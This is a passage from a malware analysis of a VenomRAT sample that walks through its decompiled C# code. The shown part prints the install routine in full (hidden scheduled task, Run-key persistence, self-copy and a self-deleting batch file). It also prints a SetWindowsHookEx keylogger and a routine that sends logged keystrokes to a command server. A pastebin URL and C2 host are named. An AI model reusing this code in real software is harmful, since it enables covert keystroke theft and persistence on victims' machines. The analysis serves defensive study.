    public static string Anti_Process = "RurwXO7i4a91c1daSLyv5axbUwxAVu+GKOYBcv85v6yLRtfLPUxOUuNF8cz9Y1UW+MEnFIoe9BSLLaHNJyW4zA==";
87
    public static string An_ti = "WOaq/Out8IEaCfHETOVUryn8zg98gQ2F+Wm9HWug/5Rb26VfM0fY3uG1Fdty09aBDCsF1SSTEP3Obd5uClmEpg==";
88
  }
89
}

It is immediately noticeable that some values are clear text, such as Install_Folder, Install_File, Hw_id and De_lay, while the others are encoded/encrypted. To get the decrypted values, the code needs to be executed and a breakpoint set at the point where the settings are decrypted.

Set a breakpoint somewhere at the end of the method execution. It was set at line 32, however setting it before that or at line 39 is equivalent. Earlier breakpoints will show fewer attributes being decrypted. The breakpoint should not be set in the catch block, otherwise it might not trigger if there was no error.

Since the fields that are getting set are class attributes and not variables in the method (like flag), they do not appear in the “Locals” tab, but instead in “Static Fields”. The result is:

A few interesting settings emerge, including the pastebin URL: https://paste.ee/r/7467kw7n/0, the VenomRAT version: Venom RAT + HVNC + Stealer + Grabber v6.0.3 and some of the file paths that might be used. Also note that the mutex OfflineKeylogger was not seen during the dynamic phase; it might be worth checking when it gets used later.

At the time of writing, the pastebin URL content is: 1ri7zwh3k.localto.net:8301. It should be possible to see later how it is used.

Client.Install

Now that the settings are clearer, the installation procedure can be viewed to then go into the details of what the sample is doing.
The full code of this file is:

1
using System;
2
using System.Diagnostics;
3
using System.IO;
4
using System.Threading;
5
using Client.Connection;
6
using Client.Helper;
7
using Microsoft.Win32;
8

9
namespace Client.Install
10
{
11
  internal class NormalStartup
12
  {
13
    public static void Install()
14
    {
15
      try
16
      {
17
        FileInfo fileInfo = new FileInfo(Path.Combine(Environment.ExpandEnvironmentVariables(Settings.Install_Folder), Settings.Install_File));
18
        string fileName = Process.GetCurrentProcess().MainModule.FileName;
19
        if (fileName != fileInfo.FullName)
20
        {
21
          foreach (Process process in Process.GetProcesses())
22
          {
23
            try
24
            {
25
              if (process.MainModule.FileName == fileInfo.FullName)
26
              {
27
                process.Kill();
28
              }
29
            }
30
            catch
31
            {
32
            }
33
          - [ ] }
34
          if (Methods.IsAdmin())
35
          {
36
            Process.Start(new ProcessStartInfo
37
            {
38
              FileName = "cmd",
39
              Arguments = string.Concat(new string[]
40
              {
41
                "/c schtasks /create /f /sc onlogon /rl highest /tn \"",
42
                Path.GetFileNameWithoutExtension(fileInfo.Name),
43
                "\" /tr '\"",
44
                fileInfo.FullName,
45
                "\"' & exit"
46
              }),
47
              WindowStyle = ProcessWindowStyle.Hidden,
48
              CreateNoWindow = true
49
            });
50
          }
51
          else
52
          {
53
            using (RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\", RegistryKeyPermissionCheck.ReadWriteSubTree))
54
            {
55
              registryKey.SetValue(Path.GetFileNameWithoutExtension(fileInfo.Name), "\"" + fileInfo.FullName + "\"");
56
            }
57
          }
58
          if (File.Exists(fileInfo.FullName))
59
          {
60
            File.Delete(fileInfo.FullName);
61
            Thread.Sleep(1000);
62
          }
63
          Stream stream = new FileStream(fileInfo.FullName, FileMode.CreateNew);
64
          byte[] array = File.ReadAllBytes(fileName);
65
          stream.Write(array, 0, array.Length);
66
          Methods.ClientOnExit();
67
          string text = Path.GetTempFileName() + ".bat";
68
          using (StreamWriter streamWriter = new StreamWriter(text))
69
          {
70
            streamWriter.WriteLine("@echo off");
71
            streamWriter.WriteLine("timeout 3 > NUL");
72
            streamWriter.WriteLine("START \"\" \"" + fileInfo.FullName + "\"");
73
            streamWriter.WriteLine("CD " + Path.GetTempPath());
74
            streamWriter.WriteLine("DEL \"" + Path.GetFileName(text) + "\" /f /q");
75
          }
76
          Process.Start(new ProcessStartInfo
77
          {
78
            FileName = text,
79
            CreateNoWindow = true,
80
            ErrorDialog = false,
81
            UseShellExecute = false,
82
            WindowStyle = ProcessWindowStyle.Hidden
83
          });
84
          Environment.Exit(0);
85
        }
86
      }
87
      catch (Exception ex)
88
      {
89
        ClientSocket.Error("Install Failed : " + ex.Message);
90
      }
91
    }
92
  }
93
}

fileInfo is set to be the concatenation of %AppData% and dadada.exe.

17
FileInfo fileInfo = new FileInfo(Path.Combine(Environment.ExpandEnvironmentVariables(Settings.Install_Folder), Settings.Install_File));

To clarify before looking at the next few lines:

• fileName is a string representing the path to the executable of the running process. For example, if the executable downloaded from this report is executed without renaming, its file name will be: C:\Users\REM\Desktop\8f5bb49ef2c1178c113d477f70856b3d59a107a6f5a551199fb5ea0be911c496.exe.

• fileInfo is a FileInfo object with fullName value of C:\Users\REM\AppData\Roaming\dadada.exe.

This code goes through all running processes and kills any process whose executable file matches %AppData%\dadada.exe. This is probably used in case a new installation of modules has to be performed remotely.

18
string fileName = Process.GetCurrentProcess().MainModule.FileName;
19
if (fileName != fileInfo.FullName)
20
{
21
    foreach (Process process in Process.GetProcesses())
22
    {
23
        try
24
        {
25
            if (process.MainModule.FileName == fileInfo.FullName)
26
            {
27
                process.Kill();
28
            }
29
        }
30
        catch
31
        {
32
        }
33
}

After that, it attempts the two persistence mechanisms already observed. If it is admin it will execute the following code to create a new task in the Task Scheduler to start on login.

1
cmd /c schtasks /create /f /sc onlogon /rl highest /tn dadada /tr "%AppData%\\dadada.exe" & exit

The execution of the above command is done in a hidden window to avoid alerting the user:

47
WindowStyle = ProcessWindowStyle.Hidden,
48
CreateNoWindow = true

Otherwise, it will write in the registry HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ the value: dadada.exe. Note that Registry.CurrentUser is HKCU. This can be confirmed by clicking on CurrentUser in DnSpy; this leads to the following line: RegistryKey.GetBaseKey(RegistryKey.HKEY_CURRENT_USER);

53
using (RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\", RegistryKeyPermissionCheck.ReadWriteSubTree))
54
{
55
    registryKey.SetValue(Path.GetFileNameWithoutExtension(fileInfo.Name), "\"" + fileInfo.FullName + "\"");
56
}

After that it checks if %AppData%\dadada.exe already exists and, if it does, deletes it.

58
if (File.Exists(fileInfo.FullName))
59
{
60
    File.Delete(fileInfo.FullName);
61
    Thread.Sleep(1000);
62
}

This is done because the next couple of lines copy the sample into %AppData%/dadada.exe.

63
Stream stream = new FileStream(fileInfo.FullName, FileMode.CreateNew);
64
byte[] array = File.ReadAllBytes(fileName);
65
stream.Write(array, 0, array.Length);

Lastly, the .bat file seen during dynamic analysis, C:\Users\REM\AppData\Local\Temp\tmp8A48.tmp.bat, is created. The content can now be seen below. Note that GetTempFileName might return a different file name on different executions.

67
string text = Path.GetTempFileName() + ".bat";
68
using (StreamWriter streamWriter = new StreamWriter(text))
69
{
70
  streamWriter.WriteLine("@echo off");
71
  streamWriter.WriteLine("timeout 3 > NUL");
72
  streamWriter.WriteLine("START \"\" \"" + fileInfo.FullName + "\"");
73
  streamWriter.WriteLine("CD " + Path.GetTempPath());
74
  streamWriter.WriteLine("DEL \"" + Path.GetFileName(text) + "\" /f /q");
75
}

A new process, executed again in hidden mode, runs the .bat file as specified in the FileName field. This will wait for 3 seconds, execute the dadada.exe file, and delete the original sample.

Client.Keylogger

The Keylogger class has a multitude of different methods. They can be analyzed one by one.

1
public static void SendLog()
2
{
3
    try
4
    {
5
        string text = string.Empty;
6
        if (File.Exists(KeylogParams.OnlineSaveFileName))
7
        {
8
            text = File.ReadAllText(KeylogParams.OnlineSaveFileName);
9
        }
10
        if (ClientSocket.IsConnected && !string.IsNullOrEmpty(text))
11
        {
12
            MsgPack msgPack = new MsgPack();
13
            msgPack.ForcePathObject("Pac_ket").AsString = "keyLogger";
14
            msgPack.ForcePathObject("hwid").AsString = Settings.Hw_id;
15
            msgPack.ForcePathObject("log").AsString = text;
16
            ClientSocket.Send(msgPack.Encode2Bytes());
17
            File.Delete(KeylogParams.OnlineSaveFileName);
18
        }
19
    }
20
    catch
21
    {
22
    }
23
}

The first one, the SendLog method, uses the KeylogParams.OnlineSaveFileName, which is defined in the KeylogParams class as the DataLogs_keylog_online.txt file.

1
public static string OnlineSaveFileName = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "MyData", "DataLogs_keylog_online.txt");

If the file exists and is not empty, the whole content is read and sent via the ClientSocket object defined in Client.Connection, which will be looked at next. Once the data is sent, the file is deleted. This is sent in combination with the Hw_id value of 5DEACD0D3625ECDCA44B and the string KeyLogger, probably so that the receiving server can identify the traffic type and client. Remember that the Hw_id value is determined at run time and it will probably be different on another system.

Next, the Run method:

1
public static void Run()
2
{
3
    new Thread(delegate
4
    {
5
        for (;;)
6
        {
7
            Thread.Sleep(Keylogger.Params.interval * 1000);
8
            Keylogger.SendLog();
9
        }
10
    }).Start();
11
    Keylogger._hookID = Keylogger.SetHook(Keylogger._proc);
12
}

This method executes a new thread that continuously sends logs via the SendLog method and waits a certain sleep interval, then repeats.
Once the thread is started, the method then creates a new hook calling the SetHook method. This method is:

1
private static IntPtr SetHook(Keylogger.LowLevelKeyboardProc proc)
2
{
3
    IntPtr intPtr;
4
    using (Process currentProcess = Process.GetCurrentProcess())
5
    {
6
        intPtr = Keylogger.SetWindowsHookEx(Keylogger.WHKEYBOARDLL, proc, Keylogger.GetModuleHandle(currentProcess.ProcessName), 0U);
7
    }
8
    return intPtr;
9
}

This seems at first like it is using a method from Keylogger called SetWindowsHookEx, however this is imported from user32.dll at the end of the Keylogger class.

1
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
2
private static extern IntPtr SetWindowsHookEx(int idHook, Keylogger.LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);

What is SetWindowsHookEx? The Microsoft API documentation (see reference 2) defines it as:

Installs an application-defined hook procedure into a hook chain. You would install a hook procedure to monitor the system for certain types of events.

The second sentence explains the core concept: the sample wants to monitor the system for a certain event.

The API call definition is:

1
HHOOK SetWindowsHookExA(
2
  [in] int       idHook,
3
  [in] HOOKPROC  lpfn,
4
  [in] HINSTANCE hmod,
5
  [in] DWORD     dwThreadId
6
);

And it is called within the sample as:

1
SetWindowsHookEx(Keylogger.WHKEYBOARDLL, proc, Keylogger.GetModuleHandle(currentProcess.ProcessName), 0U)

In detail, the way the sample uses it is:

• Keylogger.WHKEYBOARDLL: is defined at the end of the file with 13, which, looking at the Parameters section of the Microsoft documentation, is WH_KEYBOARD_LL which means: “Installs a hook procedure that monitors low-level keyboard input events.”
• proc: is passed from the Run method and is defined at the bottom of the file as a LowLevelKeyboardProc object that uses Keylogger.HookCallback as callback function, a function to call when the hook is triggered
• Keylogger.GetModuleHandle(currentProcess.ProcessName): the Microsoft documentation defines it as: “A handle to the DLL containing the hook procedure pointed to by the lpfn parameter”. This basically means that it retrieves a handle to the module (the executable or DLL) that contains the hook procedure specified by proc. When setting a Windows hook, it is necessary to tell the system where the callback function (the hook procedure) resides. In this case, the callback is part of the current process, so GetModuleHandle returns a handle to that module.
• 0U: this is an unsigned (U) 0, which, based on the documentation, means “For desktop apps, if this parameter is zero, the hook procedure is associated with all existing threads running in the same desktop as the calling thread.”

The callback method, HookCallback, is quite a long method but fairly simple.

1
private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
2
{
3
    IntPtr intPtr;
4
    try
5
    {
6
        if (nCode >= 0 && wParam == (IntPtr)256)
7
        {
8
            string activeProcessName = Keylogger.GetActiveProcessName();
9
            string activeWindowTitle = Keylogger.GetActiveWindowTitle();
10
            if (!Keylogger.Params.isEnabled || !Keylogger.FilterProcessWindow(activeProcessName, activeWindowTitle))
11
            {
12
                return Keylogger.CallNextHookEx(Keylogger._hookID, nCode, wParam, lParam);
13
            }
14
            int num = Marshal.ReadInt32(lParam);
15
            bool flag = ((int)Keylogger.GetKeyState(20) & 65535) != 0;
16
            bool flag2 = ((int)Keylogger.GetKeyState(160) & 32768) != 0 || ((int)Keylogger.GetKeyState(161) & 32768) != 0;
17
            string text = Keylogger.KeyboardLayout((uint)num);
18
            if (flag || flag2)
19
            {
20
                text = text.ToUpper();
21
            }
22
            else
23
            {
24
                text = text.ToLower();
25
            }
26
            Keys keys = (Keys)num;
27
            if (keys >= Keys.F1 && keys <= Keys.F24)
28
            {
29
                string text2 = "[";
30
                Keys keys2 = (Keys)num;
31
                text = text2 + keys2.ToString() + "]";
32
            }
33
            else
34
            {
35
                if (new Keys[]
36
                {
37
                    Keys.Escape,
38
                    Keys.Back,
39
                    Keys.Tab,
40
                    Keys.Capital,
41
                    Keys.LWin,
42
                    Keys.RWin,
43
                    Keys.LMenu,
44
                    Keys.RMenu,
45
                    Keys.LControlKey,
46
                    Keys.RControlKey,
47
                    Keys.Left,
48
                    Keys.Right,
49
                    Keys.Up,
50
                    Keys.Down,
51
                    Keys.Delete,
52
                    Keys.Home,
53
                    Keys.End
54
                }.Contains(keys))
55
                {
56
                    text = "[" + keys.ToString() + "]";
57
                }
58
                if (keys == Keys.Return)
59
                {
60
                    text = "[Enter]\r\n";
61
                }
62
                if (keys == Keys.Space)
63
                {
64
                    text = " ";
65
                }
66
            }
67
            if (!string.IsNullOrEmpty(text))
68
            {
69
                StringBuilder stringBuilder = new StringBuilder();
70
                if (Keylogger.PrevActiveWindowTitle == activeWindowTitle)
71
                {
72
                    stringBuilder.Append(text);
73
                }
74
                else
75
                {
76
                    stringBuilder.Append(Environment.NewLine);
77
                    stringBuilder.Append(Environment.NewLine);
78
                    stringBuilder.Append(string.Concat(new string[]
79
                    {
80
                        "----- [",
81
                        DateTime.Now.ToString("MM-dd HH:mm:ss"),
82
                        "] : [",
83
                        activeProcessName,
84
                        "] [",
85
                        activeWindowTitle,
86
                        "]"
87
                    }));
88
                    stringBuilder.Append(Environment.NewLine);
89
                    stringBuilder.Append(text);
90
                }
91
                Keylogger.Log(stringBuilder.ToString());
92
                Keylogger.PrevActiveWindowTitle = activeWindowTitle;
93
            }
94
        }
95
        intPtr = Keylogger.CallNextHookEx(Keylogger._hookID, nCode, wParam, lParam);
96
    }
97
    catch
98
    {
99
        intPtr = IntPtr.Zero;
100
    }
101
    return intPtr;
102
}

The first couple of lines get the name of the program running in the current open window:

8
string activeProcessName = Keylogger.GetActiveProcessName();
9
string activeWindowTitle = Keylogger.GetActiveWindowTitle();

If the keylogger is enabled, then the status of caps lock and the shift keys is captured:

15
bool flag = ((int)Keylogger.GetKeyState(20) & 65535) != 0;
16
bool flag2 = ((int)Keylogger.GetKeyState(160) & 32768) != 0 || ((int)Keylogger.GetKeyState(161) & 32768) != 0;

This is done via the GetKeyState method (see reference 3) which returns whether the key is pressed or not. The numbers inside are hexadecimal representing the key on the keyboard. In reference 4 all the mappings can be found. Given that 160 is 0xA0 which is the left shift (VK_LSHIFT), while 161 is the right shift and 20 (0x14 in hex) is the caps lock, these lines check whether the character should be uppercase; if one of the keys is pressed it is saved in uppercase:

18
if (flag || flag2)
19
{
20
    text = text.ToUpper();
21
}

The keys pressed are logged via the KeyboardLayout method that will be seen next. The rest of the method is just code to handle keys that are not letters:

• from line 27 to 32: checks for function keys, and saves them as [F1] for example;
• from line 35 to 65: checks for special keys like Tab and saves them as [Tab]. The same applies for Enter and Space, which is saved as " ".

Once the text is converted and formatted, it is saved with the following format:

80
"----- [",
81
DateTime.Now.ToString("MM-dd HH:mm:ss"),
82
"] : [",
83
activeProcessName,
84
"] [",
85
activeWindowTitle,
86
"]"

This final text is saved via the Log method:

91
Keylogger.Log(stringBuilder.ToString());

The content of Log shows that the sample saves the logs in MyData/DataLogs_keylog_offline.txt first, and then, if there is network connectivity, in MyData/DataLogs_keylog_online.txt.

1
private static void Log(string log)
2
{
3
    if (Keylogger.Params.isEnabled)
4
    {
5
        File.AppendAllText(KeylogParams.OfflineSaveFileName, log);
6
        if (ClientSocket.IsConnected)
7
        {
8
            File.AppendAllText(KeylogParams.OnlineSaveFileName, log);
9
        }
10
    }
11
}

The KeyboardLayout method takes in an integer representing the key pressed, and it returns the string representation of it in Unicode. This is done by translating the key pressed into a “scan code” via MapVirtualKey. The scan code is a unique identifier for each key; more info is in 5. Then the layout of the keyboard is retrieved via GetKeyboardLayout and the scan code is translated to Unicode via ToUnicodeEx.

1
private static string KeyboardLayout(uint vkCode)
2
{
3
    try
4
    {
5
        StringBuilder stringBuilder = new StringBuilder();
6
        byte[] array = new byte[256];
7
        if (!Keylogger.GetKeyboardState(array))
8
        {
9
            return "";
10
        }
11
        uint num = Keylogger.MapVirtualKey(vkCode, 0U);
12
        uint num2;
13
        IntPtr keyboardLayout = Keylogger.GetKeyboardLayout(Keylogger.GetWindowThreadProcessId(Keylogger.GetForegroundWindow(), out num2));
14
        Keylogger.ToUnicodeEx(vkCode, num, array, stringBuilder, 5, 0U, keyboardLayout);
15
        return stringBuilder.ToString();
16
    }
17
    catch
18
    {
19
    }
20
    Keys keys = (Keys)vkCode;
21
    return keys.ToString();